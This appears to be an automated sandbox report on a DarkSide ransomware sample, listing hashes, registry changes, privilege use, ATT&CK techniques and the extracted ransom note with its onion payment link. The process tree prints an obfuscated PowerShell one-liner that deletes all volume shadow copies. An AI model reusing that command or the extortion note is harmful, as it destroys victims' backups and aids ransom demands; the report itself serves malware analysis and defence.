darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27/01/2024, 19:37

240127-yb5pksafd3 10

27/01/2024, 19:36

240127-ybqwesafc2 10

12/05/2021, 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
117s
max time network
123s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27/01/2024, 19:37

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Report Analysis Logs

General

Target

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Size

59KB
MD5

885fc8fb590b899c1db7b42fe83dddc3
SHA1

c104056f9a926d27a2082f0510c97b09cb0eb3e5
SHA256

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d
SHA512

2b8e49ad84434dcaf98635120ac54bfa7e55bb61bf9d0e3f1f25ab81e950f638311d2121217bf5840834778d5e137551e24b89da02f12dc6be99d755c54f4c13
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3XsY23W58:0x7Fu4/ihrhDTV1ylHXZ58

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.47246f95.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (178) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\47246f95.BMP"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\47246f95.BMP"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\WallpaperStyle = "10"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.47246f95	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.47246f95\ = "47246f95"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\47246f95\DefaultIcon	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\47246f95	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\47246f95\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\47246f95.ico"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2760	powershell.exe
2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSecurityPrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeTakeOwnershipPrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeLoadDriverPrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSystemProfilePrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSystemtimePrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeProfSingleProcessPrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeIncBasePriorityPrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeCreatePagefilePrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeBackupPrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeRestorePrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeShutdownPrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeDebugPrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSystemEnvironmentPrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeRemoteShutdownPrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeUndockPrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeManageVolumePrivilege	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 33	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 34	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 35	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeBackupPrivilege	592	vssvc.exe
Token: SeRestorePrivilege	592	vssvc.exe
Token: SeAuditPrivilege	592	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2992 wrote to memory of 2760	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe	28
PID 2992 wrote to memory of 2760	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe	28
PID 2992 wrote to memory of 2760	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe	28
PID 2992 wrote to memory of 2760	2992	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe	28

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
"C:\Users\Admin\AppData\Local\Temp\0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2760

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6b96882569f8ac9bafaa6ab8fd229ad3

SHA1
be2fb76488a8447f28f68ac9fa76b5de5061c8bb

SHA256
1b59d3e03ff9de7de6a0ed0f56b9cdb7925d7f9a716c5cd9f9a03fbc83a2b5e3

SHA512
8ca46a7372f676ec6e8a2eecbc8d9bca00b620f74f3e79e77e56c71a9d5a2cf9f346e9af7751121f5186c60d05beb9dba5025dafbf4ee744d89ce06c7783ae3e

Download Submit
C:\Users\Admin\README.47246f95.TXT

Filesize
1KB

MD5
d4e176b40c4ea17f4870c34fad926d6e

SHA1
2cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0

SHA256
7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c

SHA512
feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471

Download Submit
memory/2760-5-0x000000001B340000-0x000000001B622000-memory.dmp

Filesize
2.9MB

Download
memory/2760-6-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download
memory/2760-7-0x000007FEF5120000-0x000007FEF5ABD000-memory.dmp

Filesize
9.6MB

Download
memory/2760-8-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2760-9-0x000007FEF5120000-0x000007FEF5ABD000-memory.dmp

Filesize
9.6MB

Download
memory/2760-10-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2760-11-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2760-12-0x000007FEF5120000-0x000007FEF5ABD000-memory.dmp

Filesize
9.6MB

Download